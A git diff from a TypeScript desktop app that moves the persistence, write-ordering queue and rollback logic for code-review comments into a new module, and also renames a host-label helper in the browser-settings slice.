@@ -2315,7 +2375,7 @@ export const createBrowserSlice: StateCreator<AppState, [], [], BrowserSlice> =
     const hostId = getBrowserSettingsHostId(get())
     const runtimeEnvironmentId = getBrowserSettingsRuntimeEnvironmentId(get())
     if (runtimeEnvironmentId) {
-      const hostLabel = getBrowserSettingsHostLabel(get(), hostId)
+      const hostLabel = selectExecutionHostDisplayLabel(get(), hostId)
       try {
         // Why: the import runs on whichever machine hosts the pages, so the picker must offer that
         // machine's browsers -- client-hosted means this desktop, not the (usually headless) remote.
@@ -2375,7 +2435,7 @@ export const createBrowserSlice: StateCreator<AppState, [], [], BrowserSlice> =
   importCookiesFromBrowser: async (profileId, browserFamily, browserProfile?) => {
     const initialState = get()
     const hostId = getBrowserSettingsHostId(initialState)
-    const executionHostLabel = getBrowserSettingsHostLabel(initialState, hostId)
+    const executionHostLabel = selectExecutionHostDisplayLabel(initialState, hostId)
     const runtimeEnvironmentId = getBrowserSettingsRuntimeEnvironmentId(initialState)
     if (runtimeEnvironmentId) {
       set((state) =>
diff --git a/src/renderer/src/store/slices/diff-comment-persistence.ts b/src/renderer/src/store/slices/diff-comment-persistence.ts
new file mode 100644
index 00000000000..92e1eb9ea9f
--- /dev/null
+++ b/src/renderer/src/store/slices/diff-comment-persistence.ts
@@ -0,0 +1,322 @@
+import type { StateCreator } from 'zustand'
+import type { AppState } from '../types'
+import type { DiffComment } from '../../../../shared/diff-comment-types'
+import type { FolderWorkspace } from '../../../../shared/folder-workspace-types'
+import type { Worktree } from '../../../../shared/worktree/types'
+import { getRepoIdFromWorktreeId } from './worktree-helpers'
+import { callRuntimeRpc, getActiveRuntimeTarget } from '../../runtime/runtime-rpc-client'
+import { toRuntimeWorktreeSelector } from '../../runtime/runtime-worktree-selector'
+import { getRuntimeEnvironmentIdForWorktree } from '@/lib/worktree-runtime-owner'
+import {
+  findFolderWorkspaceOwner,
+  getExecutionHostIdForFolderWorkspace,
+  getRuntimeEnvironmentIdForFolderWorkspace
+} from '@/lib/folder-workspace-runtime-owner'
+import { parseWorkspaceKey } from '../../../../shared/workspace-scope'
+
+export function normalizeDiffComment(comment: DiffComment): DiffComment {
+  const rawSource = (comment as { source?: unknown }).source
+  const source = rawSource === 'markdown' || rawSource === 'diff' ? rawSource : undefined
+  const rawStartLine = (comment as { startLine?: unknown }).startLine
+  const startLine =
+    Number.isInteger(rawStartLine) &&
+    typeof rawStartLine === 'number' &&
+    rawStartLine >= 1 &&
+    rawStartLine <= comment.lineNumber
+      ? rawStartLine
+      : undefined
+  const rawSelectedText = (comment as { selectedText?: unknown }).selectedText
+  const selectedText =
+    typeof rawSelectedText === 'string' && rawSelectedText.trim().length > 0
+      ? rawSelectedText.trim()
+      : undefined
+  const rawSentAt = (comment as { sentAt?: unknown }).sentAt
+  const sentAt =
+    typeof rawSentAt === 'number' && Number.isFinite(rawSentAt) && rawSentAt > 0
+      ? rawSentAt
+      : undefined
+
+  return {
+    ...comment,
+    ...(source !== undefined ? { source } : {}),
+    ...(source === undefined ? { source: undefined } : {}),
+    ...(selectedText !== undefined ? { selectedText } : {}),
+    ...(selectedText === undefined ? { selectedText: undefined } : {}),
+    ...(startLine !== undefined ? { startLine } : {}),
+    ...(startLine === undefined ? { startLine: undefined } : {}),
+    ...(sentAt !== undefined ? { sentAt } : {}),
+    ...(sentAt === undefined ? { sentAt: undefined } : {})
+  }
+}
+
+async function persist(
+  state: AppState,
+  settings: AppState['settings'],
+  worktreeId: string,
+  diffComments: DiffComment[],
+  folderExecutionHostId?: ReturnType<typeof getExecutionHostIdForFolderWorkspace>
+): Promise<void> {
+  const scope = parseWorkspaceKey(worktreeId)
+  if (scope?.type === 'folder') {
+    const executionHostId =
+      folderExecutionHostId ?? getExecutionHostIdForFolderWorkspace(state, scope.folderWorkspaceId)
+    const runtimeEnvironmentId = getRuntimeEnvironmentIdForFolderWorkspace(
+      state,
+      scope.folderWorkspaceId,
+      executionHostId
+    )
+    const target = getActiveRuntimeTarget({ activeRuntimeEnvironmentId: runtimeEnvironmentId })
+    const updated =
+      target.kind === 'local'
+        ? await window.api.folderWorkspaces.update({
+            folderWorkspaceId: scope.folderWorkspaceId,
+            updates: { diffComments }
+          })
+        : (
+            await callRuntimeRpc<{ folderWorkspace: FolderWorkspace | null }>(
+              target,
+              'folderWorkspace.update',
+              { folderWorkspaceId: scope.folderWorkspaceId, updates: { diffComments } },
+              { timeoutMs: 15_000 }
+            )
+          ).folderWorkspace
+    if (!updated?.diffComments) {
+      throw new Error('Failed to persist folder workspace review notes')
+    }
+    return
+  }
+  const target = getActiveRuntimeTarget(settings)
+  if (target.kind === 'local') {
+    await window.api.worktrees.updateMeta({
+      worktreeId,
+      updates: { diffComments }
+    })
+    return
+  }
+  await callRuntimeRpc(
+    target,
+    'worktree.set',
+    { worktree: toRuntimeWorktreeSelector(worktreeId), diffComments },
+    { timeoutMs: 15_000 }
+  )
+}
+
+function settingsForWorktreeOwner(state: AppState, worktreeId: string): AppState['settings'] {
+  const runtimeEnvironmentId = getRuntimeEnvironmentIdForWorktree(state, worktreeId)
+  return state.settings
+    ? { ...state.settings, activeRuntimeEnvironmentId: runtimeEnvironmentId }
+    : ({ activeRuntimeEnvironmentId: runtimeEnvironmentId } as AppState['settings'])
+}
+
+// Why: IPC writes aren't ordered, so serialize per worktree to stop an older snapshot from overwriting a newer one on disk.
+const persistQueueByWorktree = new Map<string, Promise<void>>()
+
+// Why: rollback must converge to what actually reached disk; in a burst of failed writes each mutation's own predecessor is stale.
+const lastPersistedByQueue = new Map<string, DiffComment[] | undefined>()
+
+// Why: the floor is only valid across an unbroken mutation chain; this is how an out-of-band replacement mid-burst is detected.
+const lastMutationNextByQueue = new Map<string, DiffComment[]>()
+
+// Why: bumped on every re-seed, so an in-flight write can tell whether the floor it captured is still the current one.
+const floorSeedEpochByQueue = new Map<string, number>()
+
+export type DiffCommentMutation = {
+  previous: DiffComment[] | undefined
+  next: DiffComment[]
+  folderExecutionHostId?: ReturnType<typeof getExecutionHostIdForFolderWorkspace>
+}
+
+// Why: one key for the queue and both bookkeeping maps, so they can never drift apart.
+function persistQueueKey(
+  worktreeId: string,
+  folderExecutionHostId?: ReturnType<typeof getExecutionHostIdForFolderWorkspace>
+): string {
+  return folderExecutionHostId ? `${folderExecutionHostId}\0${worktreeId}` : worktreeId
+}
+
+// Why: chain each write onto the prior promise so writes land in call order; both then handlers keep the chain alive past a failure.
+// Why: queued work reads the latest list at dequeue time, and the returned promise settles for THIS write.
+// Why: this promise rejects only after this write's rollback has been applied — callers must not roll back themselves.
+export function enqueueDiffCommentPersist(
+  set: Parameters<StateCreator<AppState>>[0],
+  worktreeId: string,
+  get: () => AppState,
+  mutation: DiffCommentMutation
+): Promise<void> {
+  const folderExecutionHostId = mutation.folderExecutionHostId
+  const queueKey = persistQueueKey(worktreeId, folderExecutionHostId)
+  const prior = persistQueueByWorktree.get(queueKey) ?? Promise.resolve()
+  // Why: an idle queue means disk still holds the pre-mutation list, so that list is this burst's rollback floor.
+  // Why: a `previous` that isn't the last mutation's `next` means something outside the mutators replaced the list
+  //      (hydration, folderWorkspaces refresh, remote push), so the old floor predates that state and must be re-seeded.
+  // Why: seed before the queue entry below, or `has` is always true and the floor is never seeded.
+  const chainBroken = lastMutationNextByQueue.get(queueKey) !== mutation.previous
+  if (!persistQueueByWorktree.has(queueKey) || chainBroken) {
+    lastPersistedByQueue.set(queueKey, mutation.previous)
+    floorSeedEpochByQueue.set(queueKey, (floorSeedEpochByQueue.get(queueKey) ?? 0) + 1)
+  }
+  lastMutationNextByQueue.set(queueKey, mutation.next)
+  const run = async (): Promise<void> => {
+    // Why: capture at dequeue time, alongside `stateList` — an epoch read at enqueue time would bar every write
+    //      that straddles a chain break from recording a floor its coalesced payload already carries.
+    const seedEpoch = floorSeedEpochByQueue.get(queueKey)
+    // Why: the state-side array, not the normalized copy sent to disk — restoring the same instance keeps
+    //      `getDiffComments` identity stable instead of churning selectors.
+    let stateList: DiffComment[] | undefined
+    try {
+      const scope = parseWorkspaceKey(worktreeId)
+      if (scope?.type === 'folder') {
+        const state = get()
+        const folderWorkspace = findFolderWorkspaceOwner(
+          state,
+          scope.folderWorkspaceId,
+          folderExecutionHostId
+        )
+        stateList = folderWorkspace?.diffComments
+        await persist(
+          state,
+          state.settings,
+          worktreeId,
+          (stateList ?? []).map(normalizeDiffComment),
+          folderExecutionHostId
+        )
+      } else {
+        const repoId = getRepoIdFromWorktreeId(worktreeId)
+        const target = get().worktreesByRepo[repoId]?.find((w) => w.id === worktreeId)
+        stateList = target?.diffComments
+        const state = get()
+        await persist(
+          state,
+          settingsForWorktreeOwner(state, worktreeId),
+          worktreeId,
+          (stateList ?? []).map(normalizeDiffComment)
+        )
+      }
+    } catch (err) {
+      // Why: converge to what actually landed; rollback's identity guard no-ops when a later mutation owns the array.
+      // Why: `has()`, not `get() ?? …` — an absent entry and a legitimately-`undefined` floor are different things.
+      const floor = lastPersistedByQueue.has(queueKey)
+        ? lastPersistedByQueue.get(queueKey)
+        : mutation.previous
+      rollback(set, worktreeId, floor, mutation.next, folderExecutionHostId)
+      throw err
+    }
+    // Why: a chain break re-seeded the floor to an out-of-band replacement while this write was awaiting, so the
+    //      list captured before the await predates it and must not be reinstated as the floor.
+    if (floorSeedEpochByQueue.get(queueKey) === seedEpoch) {
+      lastPersistedByQueue.set(queueKey, stateList)
+    }
+  }
+  const next = prior.then(run, run)
+  persistQueueByWorktree.set(queueKey, next)
+  // Why: clear the queue entry only if still the tail, so later enqueues chain onto the real in-flight promise.
+  // Why: then(cleanup, cleanup) not finally, so a rejection is consumed here rather than re-thrown as unhandledRejection.
+  const cleanup = (): void => {
+    if (persistQueueByWorktree.get(queueKey) === next) {
+      persistQueueByWorktree.delete(queueKey)
+      // Why: tail-guarded only; a mid-burst delete would strand the remaining writes of the burst without a floor.
+      lastPersistedByQueue.delete(queueKey)
+      lastMutationNextByQueue.delete(queueKey)
+      floorSeedEpochByQueue.delete(queueKey)
+    }
+  }
+  next.then(cleanup, cleanup)
+  return next
+}
+
+// Why: derive the next list inside the `set` updater so concurrent writes can't clobber each other via a stale closure.
+export function mutateDiffComments(
+  set: Parameters<StateCreator<AppState>>[0],
+  worktreeId: string,
+  mutate: (existing: DiffComment[]) => DiffComment[] | null
+): DiffCommentMutation | null {
+  const repoId = getRepoIdFromWorktreeId(worktreeId)
+  let previous: DiffComment[] | undefined
+  let next: DiffComment[] | null = null
+  let folderExecutionHostId: ReturnType<typeof getExecutionHostIdForFolderWorkspace> | undefined
+  set((s) => {
+    const scope = parseWorkspaceKey(worktreeId)
+    if (scope?.type === 'folder') {
+      const target = findFolderWorkspaceOwner(s, scope.folderWorkspaceId)
+      if (!target) {
+        return {}
+      }
+      folderExecutionHostId = getExecutionHostIdForFolderWorkspace(s, scope.folderWorkspaceId)
+      previous = target.diffComments
+      const computed = mutate(previous ?? [])
+      if (computed === null) {
+        return {}
+      }
+      next = computed
+      return {
+        folderWorkspaces: s.folderWorkspaces.map((workspace) =>
+          workspace === target ? { ...workspace, diffComments: computed } : workspace
+        )
+      }
+    }
+    const repoList = s.worktreesByRepo[repoId]
+    if (!repoList) {
+      return {}
+    }
+    const target = repoList.find((w) => w.id === worktreeId)
+    if (!target) {
+      return {}
+    }
+    previous = target.diffComments
+    const computed = mutate(previous ?? [])
+    if (computed === null) {
+      return {}
+    }
+    next = computed
+    const nextList: Worktree[] = repoList.map((w) =>
+      w.id === worktreeId ? { ...w, diffComments: computed } : w
+    )
+    return { worktreesByRepo: { ...s.worktreesByRepo, [repoId]: nextList } }
+  })
+  if (next === null) {
+    return null
+  }
+  return { previous, next, folderExecutionHostId }
+}
+
+// Why: on IPC-write failure, roll back optimistic state so the renderer matches disk (identity-guarded below).
+function rollback(
+  set: Parameters<StateCreator<AppState>>[0],
+  worktreeId: string,
+  previous: DiffComment[] | undefined,
+  expectedCurrent: DiffComment[],
+  folderExecutionHostId?: ReturnType<typeof getExecutionHostIdForFolderWorkspace>
+): void {
+  const repoId = getRepoIdFromWorktreeId(worktreeId)
+  set((s) => {
+    const scope = parseWorkspaceKey(worktreeId)
+    if (scope?.type === 'folder') {
+      const target = findFolderWorkspaceOwner(s, scope.folderWorkspaceId, folderExecutionHostId)
+      if (!target || target.diffComments !== expectedCurrent) {
+        return {}
+      }
+      return {
+        folderWorkspaces: s.folderWorkspaces.map((workspace) =>
+          workspace === target ? { ...workspace, diffComments: previous } : workspace
+        )
+      }
+    }
+    const repoList = s.worktreesByRepo[repoId]
+    if (!repoList) {
+      return {}
+    }
+    const target = repoList.find((w) => w.id === worktreeId)
+    // Why: worktree gone since the mutation; bail before remapping so we don't allocate a new array identity and fire spurious notifications.
+    if (!target) {
+      return {}
+    }
+    // Why: only roll back if no later mutation replaced the array, else our stale `previous` would erase newer state.
+    if (target.diffComments !== expectedCurrent) {
+      return {}
+    }
+    const nextList: Worktree[] = repoList.map((w) =>
+      w.id === worktreeId ? { ...w, diffComments: previous } : w
+    )
+    return { worktreesByRepo: { ...s.worktreesByRepo, [repoId]: nextList } }
+  })
+}
diff --git a/src/renderer/src/store/slices/diffComments.ts b/src/renderer/src/store/slices/diffComments.ts
index fb4a1cb2e9e..b11615be936 100644
--- a/src/renderer/src/store/slices/diffComments.ts
+++ b/src/renderer/src/store/slices/diffComments.ts
@@ -1,20 +1,15 @@
-/* eslint-disable max-lines -- Why: keeps note mutation, rollback, persistence ordering, and sent-state transitions under shared queue/rollback invariants. */
 import type { StateCreator } from 'zustand'
 import type { AppState } from '../types'
 import type { DiffComment } from '../../../../shared/diff-comment-types'
-import type { FolderWorkspace } from '../../../../shared/folder-workspace-types'
-import type { Worktree } from '../../../../shared/worktree/types'
-import { findWorktreeById, getRepoIdFromWorktreeId } from './worktree-helpers'
-import { callRuntimeRpc, getActiveRuntimeTarget } from '../../runtime/runtime-rpc-client'
-import { toRuntimeWorktreeSelector } from '../../runtime/runtime-worktree-selector'
+import { findWorktreeById } from './worktree-helpers'
 import { createBrowserUuid } from '@/lib/browser-uuid'
-import { getRuntimeEnvironmentIdForWorktree } from '@/lib/worktree-runtime-owner'
-import {
-  findFolderWorkspaceOwner,
-  getExecutionHostIdForFolderWorkspace,
-  getRuntimeEnvironmentIdForFolderWorkspace
-} from '@/lib/folder-workspace-runtime-owner'
+import { findFolderWorkspaceOwner } from '@/lib/folder-workspace-runtime-owner'
 import { parseWorkspaceKey } from '../../../../shared/workspace-scope'
+import {
+  enqueueDiffCommentPersist,
+  mutateDiffComments,
+  normalizeDiffComment
+} from './diff-comment-persistence'
 
 export type DiffCommentsSlice = {
   getDiffComments: (worktreeId: string | null | undefined) => DiffComment[]
@@ -43,41 +38,6 @@ function generateId(): string {
   return createBrowserUuid()
 }
 
-function normalizeDiffComment(comment: DiffComment): DiffComment {
-  const rawSource = (comment as { source?: unknown }).source
-  const source = rawSource === 'markdown' || rawSource === 'diff' ? rawSource : undefined
-  const rawStartLine = (comment as { startLine?: unknown }).startLine
-  const startLine =
-    Number.isInteger(rawStartLine) &&
-    typeof rawStartLine === 'number' &&
-    rawStartLine >= 1 &&
-    rawStartLine <= comment.lineNumber
-      ? rawStartLine
-      : undefined
-  const rawSelectedText = (comment as { selectedText?: unknown }).selectedText
-  const selectedText =
-    typeof rawSelectedText === 'string' && rawSelectedText.trim().length > 0
-      ? rawSelectedText.trim()
-      : undefined
-  const rawSentAt = (comment as { sentAt?: unknown }).sentAt
-  const sentAt =
-    typeof rawSentAt === 'number' && Number.isFinite(rawSentAt) && rawSentAt > 0
-      ? rawSentAt
-      : undefined
-
-  return {
-    ...comment,
-    ...(source !== undefined ? { source } : {}),
-    ...(source === undefined ? { source: undefined } : {}),
-    ...(selectedText !== undefined ? { selectedText } : {}),
-    ...(selectedText === undefined ? { selectedText: undefined } : {}),
-    ...(startLine !== undefined ? { startLine } : {}),
-    ...(startLine === undefined ? { startLine: undefined } : {}),
-    ...(sentAt !== undefined ? { sentAt } : {}),
-    ...(sentAt === undefined ? { sentAt: undefined } : {})
-  }
-}
-
 function deliverySnapshotMatches(
   comment: DiffComment,
   snapshot: DiffCommentDeliverySnapshot
@@ -96,181 +56,6 @@ function deliverySnapshotMatches(
 // Why: a frozen shared sentinel avoids selector re-renders and mutation.
 const EMPTY_COMMENTS: readonly DiffComment[] = Object.freeze([])
 
-async function persist(
-  state: AppState,
-  settings: AppState['settings'],
-  worktreeId: string,
-  diffComments: DiffComment[],
-  folderExecutionHostId?: ReturnType<typeof getExecutionHostIdForFolderWorkspace>
-): Promise<void> {
-  const scope = parseWorkspaceKey(worktreeId)
-  if (scope?.type === 'folder') {
-    const executionHostId =
-      folderExecutionHostId ?? getExecutionHostIdForFolderWorkspace(state, scope.folderWorkspaceId)
-    const runtimeEnvironmentId = getRuntimeEnvironmentIdForFolderWorkspace(
-      state,
-      scope.folderWorkspaceId,
-      executionHostId
-    )
-    const target = getActiveRuntimeTarget({ activeRuntimeEnvironmentId: runtimeEnvironmentId })
-    const updated =
-      target.kind === 'local'
-        ? await window.api.folderWorkspaces.update({
-            folderWorkspaceId: scope.folderWorkspaceId,
-            updates: { diffComments }
-          })
-        : (
-            await callRuntimeRpc<{ folderWorkspace: FolderWorkspace | null }>(
-              target,
-              'folderWorkspace.update',
-              { folderWorkspaceId: scope.folderWorkspaceId, updates: { diffComments } },
-              { timeoutMs: 15_000 }
-            )
-          ).folderWorkspace
-    if (!updated?.diffComments) {
-      throw new Error('Failed to persist folder workspace review notes')
-    }
-    return
-  }
-  const target = getActiveRuntimeTarget(settings)
-  if (target.kind === 'local') {
-    await window.api.worktrees.updateMeta({
-      worktreeId,
-      updates: { diffComments }
-    })
-    return
-  }
-  await callRuntimeRpc(
-    target,
-    'worktree.set',
-    { worktree: toRuntimeWorktreeSelector(worktreeId), diffComments },
-    { timeoutMs: 15_000 }
-  )
-}
-
-function settingsForWorktreeOwner(state: AppState, worktreeId: string): AppState['settings'] {
-  const runtimeEnvironmentId = getRuntimeEnvironmentIdForWorktree(state, worktreeId)
-  return state.settings
-    ? { ...state.settings, activeRuntimeEnvironmentId: runtimeEnvironmentId }
-    : ({ activeRuntimeEnvironmentId: runtimeEnvironmentId } as AppState['settings'])
-}
-
-// Why: IPC writes aren't ordered, so serialize per worktree to stop an older snapshot from overwriting a newer one on disk.
-const persistQueueByWorktree = new Map<string, Promise<void>>()
-
-// Why: rollback must converge to what actually reached disk; in a burst of failed writes each mutation's own predecessor is stale.
-const lastPersistedByQueue = new Map<string, DiffComment[] | undefined>()
-
-// Why: the floor is only valid across an unbroken mutation chain; this is how an out-of-band replacement mid-burst is detected.
-const lastMutationNextByQueue = new Map<string, DiffComment[]>()
-
-// Why: bumped on every re-seed, so an in-flight write can tell whether the floor it captured is still the current one.
-const floorSeedEpochByQueue = new Map<string, number>()
-
-type CommentMutation = {
-  previous: DiffComment[] | undefined
-  next: DiffComment[]
-  folderExecutionHostId?: ReturnType<typeof getExecutionHostIdForFolderWorkspace>
-}
-
-// Why: one key for the queue and both bookkeeping maps, so they can never drift apart.
-function persistQueueKey(
-  worktreeId: string,
-  folderExecutionHostId?: ReturnType<typeof getExecutionHostIdForFolderWorkspace>
-): string {
-  return folderExecutionHostId ? `${folderExecutionHostId}\0${worktreeId}` : worktreeId
-}
-
-// Why: chain each write onto the prior promise so writes land in call order; both then handlers keep the chain alive past a failure.
-// Why: queued work reads the latest list at dequeue time, and the returned promise settles for THIS write.
-// Why: this promise rejects only after this write's rollback has been applied — callers must not roll back themselves.
-function enqueuePersist(
-  set: Parameters<StateCreator<AppState, [], [], DiffCommentsSlice>>[0],
-  worktreeId: string,
-  get: () => AppState,
-  mutation: CommentMutation
-): Promise<void> {
-  const folderExecutionHostId = mutation.folderExecutionHostId
-  const queueKey = persistQueueKey(worktreeId, folderExecutionHostId)
-  const prior = persistQueueByWorktree.get(queueKey) ?? Promise.resolve()
-  // Why: an idle queue means disk still holds the pre-mutation list, so that list is this burst's rollback floor.
-  // Why: a `previous` that isn't the last mutation's `next` means something outside the mutators replaced the list
-  //      (hydration, folderWorkspaces refresh, remote push), so the old floor predates that state and must be re-seeded.
-  // Why: seed before the queue entry below, or `has` is always true and the floor is never seeded.
-  const chainBroken = lastMutationNextByQueue.get(queueKey) !== mutation.previous
-  if (!persistQueueByWorktree.has(queueKey) || chainBroken) {
-    lastPersistedByQueue.set(queueKey, mutation.previous)
-    floorSeedEpochByQueue.set(queueKey, (floorSeedEpochByQueue.get(queueKey) ?? 0) + 1)
-  }
-  lastMutationNextByQueue.set(queueKey, mutation.next)
-  const run = async (): Promise<void> => {
-    // Why: capture at dequeue time, alongside `stateList` — an epoch read at enqueue time would bar every write
-    //      that straddles a chain break from recording a floor its coalesced payload already carries.
-    const seedEpoch = floorSeedEpochByQueue.get(queueKey)
-    // Why: the state-side array, not the normalized copy sent to disk — restoring the same instance keeps
-    //      `getDiffComments` identity stable instead of churning selectors.
-    let stateList: DiffComment[] | undefined
-    try {
-      const scope = parseWorkspaceKey(worktreeId)
-      if (scope?.type === 'folder') {
-        const state = get()
-        const folderWorkspace = findFolderWorkspaceOwner(
-          state,
-          scope.folderWorkspaceId,
-          folderExecutionHostId
-        )
-        stateList = folderWorkspace?.diffComments
-        await persist(
-          state,
-          state.settings,
-          worktreeId,
-          (stateList ?? []).map(normalizeDiffComment),
-          folderExecutionHostId
-        )
-      } else {
-        const repoId = getRepoIdFromWorktreeId(worktreeId)
-        const target = get().worktreesByRepo[repoId]?.find((w) => w.id === worktreeId)
-        stateList = target?.diffComments
-        const state = get()
-        await persist(
-          state,
-          settingsForWorktreeOwner(state, worktreeId),
-          worktreeId,
-          (stateList ?? []).map(normalizeDiffComment)
-        )
-      }
-    } catch (err) {
-      // Why: converge to what actually landed; rollback's identity guard no-ops when a later mutation owns the array.
-      // Why: `has()`, not `get() ?? …` — an absent entry and a legitimately-`undefined` floor are different things.
-      const floor = lastPersistedByQueue.has(queueKey)
-        ? lastPersistedByQueue.get(queueKey)
-        : mutation.previous
-      rollback(set, worktreeId, floor, mutation.next, folderExecutionHostId)
-      throw err
-    }
-    // Why: a chain break re-seeded the floor to an out-of-band replacement while this write was awaiting, so the
-    //      list captured before the await predates it and must not be reinstated as the floor.
-    if (floorSeedEpochByQueue.get(queueKey) === seedEpoch) {
-      lastPersistedByQueue.set(queueKey, stateList)
-    }
-  }
-  const next = prior.then(run, run)
-  persistQueueByWorktree.set(queueKey, next)
-  // Why: clear the queue entry only if still the tail, so later enqueues chain onto the real in-flight promise.
-  // Why: then(cleanup, cleanup) not finally, so a rejection is consumed here rather than re-thrown as unhandledRejection.
-  const cleanup = (): void => {
-    if (persistQueueByWorktree.get(queueKey) === next) {
-      persistQueueByWorktree.delete(queueKey)
-      // Why: tail-guarded only; a mid-burst delete would strand the remaining writes of the burst without a floor.
-      lastPersistedByQueue.delete(queueKey)
-      lastMutationNextByQueue.delete(queueKey)
-      floorSeedEpochByQueue.delete(queueKey)
-    }
-  }
-  next.then(cleanup, cleanup)
-  return next
-}
-
 // Why: best-effort telemetry runs only after the note is on disk, so a throw here must not report a failed save.
 function recordReviewNoteInteraction(get: () => AppState): void {
   try {
@@ -280,103 +65,6 @@ function recordReviewNoteInteraction(get: () => AppState): void {
   }
 }
 
-// Why: derive the next list inside the `set` updater so concurrent writes can't clobber each other via a stale closure.
-function mutateComments(
-  set: Parameters<StateCreator<AppState, [], [], DiffCommentsSlice>>[0],
-  worktreeId: string,
-  mutate: (existing: DiffComment[]) => DiffComment[] | null
-): CommentMutation | null {
-  const repoId = getRepoIdFromWorktreeId(worktreeId)
-  let previous: DiffComment[] | undefined
-  let next: DiffComment[] | null = null
-  let folderExecutionHostId: ReturnType<typeof getExecutionHostIdForFolderWorkspace> | undefined
-  set((s) => {
-    const scope = parseWorkspaceKey(worktreeId)
-    if (scope?.type === 'folder') {
-      const target = findFolderWorkspaceOwner(s, scope.folderWorkspaceId)
-      if (!target) {
-        return {}
-      }
-      folderExecutionHostId = getExecutionHostIdForFolderWorkspace(s, scope.folderWorkspaceId)
-      previous = target.diffComments
-      const computed = mutate(previous ?? [])
-      if (computed === null) {
-        return {}
-      }
-      next = computed
-      return {
-        folderWorkspaces: s.folderWorkspaces.map((workspace) =>
-          workspace === target ? { ...workspace, diffComments: computed } : workspace
-        )
-      }
-    }
-    const repoList = s.worktreesByRepo[repoId]
-    if (!repoList) {
-      return {}
-    }
-    const target = repoList.find((w) => w.id === worktreeId)
-    if (!target) {
-      return {}
-    }
-    previous = target.diffComments
-    const computed = mutate(previous ?? [])
-    if (computed === null) {
-      return {}
-    }
-    next = computed
-    const nextList: Worktree[] = repoList.map((w) =>
-      w.id === worktreeId ? { ...w, diffComments: computed } : w
-    )
-    return { worktreesByRepo: { ...s.worktreesByRepo, [repoId]: nextList } }
-  })
-  if (next === null) {
-    return null
-  }
-  return { previous, next, folderExecutionHostId }
-}
-
-// Why: on IPC-write failure, roll back optimistic state so the renderer matches disk (identity-guarded below).
-function rollback(
-  set: Parameters<StateCreator<AppState, [], [], DiffCommentsSlice>>[0],
-  worktreeId: string,
-  previous: DiffComment[] | undefined,
-  expectedCurrent: DiffComment[],
-  folderExecutionHostId?: ReturnType<typeof getExecutionHostIdForFolderWorkspace>
-): void {
-  const repoId = getRepoIdFromWorktreeId(worktreeId)
-  set((s) => {
-    const scope = parseWorkspaceKey(worktreeId)
-    if (scope?.type === 'folder') {
-      const target = findFolderWorkspaceOwner(s, scope.folderWorkspaceId, folderExecutionHostId)
-      if (!target || target.diffComments !== expectedCurrent) {
-        return {}
-      }
-      return {
-        folderWorkspaces: s.folderWorkspaces.map((workspace) =>
-          workspace === target ? { ...workspace, diffComments: previous } : workspace
-        )
-      }
-    }
-    const repoList = s.worktreesByRepo[repoId]
-    if (!repoList) {
-      return {}
-    }
-    const target = repoList.find((w) => w.id === worktreeId)
-    // Why: worktree gone since the mutation; bail before remapping so we don't allocate a new array identity and fire spurious notifications.
-    if (!target) {
-      return {}
-    }
-    // Why: only roll back if no later mutation replaced the array, else our stale `previous` would erase newer state.
-    if (target.diffComments !== expectedCurrent) {
-      return {}
-    }
-    const nextList: Worktree[] = repoList.map((w) =>
-      w.id === worktreeId ? { ...w, diffComments: previous } : w
-    )
-    return { worktreesByRepo: { ...s.worktreesByRepo, [repoId]: nextList } }
-  })
-}
-
 export const createDiffCommentsSlice: StateCreator<AppState, [], [], DiffCommentsSlice> = (
   set,
   get
@@ -404,13 +92,13 @@ export const createDiffCommentsSlice: StateCreator<AppState, [], [], DiffComment
       id: generateId(),
       createdAt: Date.now()
     })
-    const result = mutateComments(set, input.worktreeId, (existing) => [...existing, comment])
+    const result = mutateDiffComments(set, input.worktreeId, (existing) => [...existing, comment])
     if (!result) {
       return null
     }
     try {
       // Why: serialize through the per-worktree queue so concurrent writes can't land on disk out of call order.
-      await enqueuePersist(set, input.worktreeId, get, result)
+      await enqueueDiffCommentPersist(set, input.worktreeId, get, result)
     } catch (err) {
       console.error('Failed to persist diff comments:', err)
       return null
@@ -436,7 +124,7 @@ export const createDiffCommentsSlice: StateCreator<AppState, [], [], DiffComment
       return true
     }
 
-    const result = mutateComments(set, worktreeId, (current) => {
+    const result = mutateDiffComments(set, worktreeId, (current) => {
       const idx = current.findIndex((c) => c.id === commentId)
       if (idx === -1) {
         return null
@@ -454,7 +142,7 @@ export const createDiffCommentsSlice: StateCreator<AppState, [], [], DiffComment
       return true
     }
     try {
-      await enqueuePersist(set, worktreeId, get, result)
+      await enqueueDiffCommentPersist(set, worktreeId, get, result)
       return true
     } catch (err) {
       console.error('Failed to persist diff comments:', err)
@@ -467,7 +155,7 @@ export const createDiffCommentsSlice: StateCreator<AppState, [], [], DiffComment
       return true
     }
     const snapshotsById = new Map(comments.map((comment) => [comment.id, comment]))
-    const result = mutateComments(set, worktreeId, (existing) => {
+    const result = mutateDiffComments(set, worktreeId, (existing) => {
       const next = existing.filter((comment) => {
         const snapshot = snapshotsById.get(comment.id)
         // Why: delivery is async; a note edited after its snapshot was sent is a fresh pending note that must stay visible.
@@ -479,7 +167,7 @@ export const createDiffCommentsSlice: StateCreator<AppState, [], [], DiffComment
       return true
     }
     try {
-      await enqueuePersist(set, worktreeId, get, result)
+      await enqueueDiffCommentPersist(set, worktreeId, get, result)
     } catch (err) {
       console.error('Failed to persist diff comments:', err)
       return false
@@ -493,7 +181,7 @@ export const createDiffCommentsSlice: StateCreator<AppState, [], [], DiffComment
       return true
     }
     const ids = new Set(commentIds)
-    const result = mutateComments(set, worktreeId, (existing) => {
+    const result = mutateDiffComments(set, worktreeId, (existing) => {
       let changed = false
       const next = existing.map((comment) => {
         if (!ids.has(comment.id) || comment.sentAt === sentAt) {
@@ -508,7 +196,7 @@ export const createDiffCommentsSlice: StateCreator<AppState, [], [], DiffComment
       return true
     }
     try {
-      await enqueuePersist(set, worktreeId, get, result)
+      await enqueueDiffCommentPersist(set, worktreeId, get, result)
     } catch (err) {
       console.error('Failed to persist diff comments:', err)
       return false
@@ -518,7 +206,7 @@ export const createDiffCommentsSlice: StateCreator<AppState, [], [], DiffComment
   },
 
   deleteDiffComment: async (worktreeId, commentId) => {
-    const result = mutateComments(set, worktreeId, (existing) => {
+    const result = mutateDiffComments(set, worktreeId, (existing) => {
       const next = existing.filter((c) => c.id !== commentId)
       return next.length === existing.length ? null : next
     })
@@ -527,21 +215,21 @@ export const createDiffCommentsSlice: StateCreator<AppState, [], [], DiffComment
     }
     try {
       // Why: serialize through the per-worktree queue so concurrent writes can't land out of call order.
-      await enqueuePersist(set, worktreeId, get, result)
+      await enqueueDiffCommentPersist(set, worktreeId, get, result)
     } catch (err) {
       console.error('Failed to persist diff comments:', err)
     }
   },
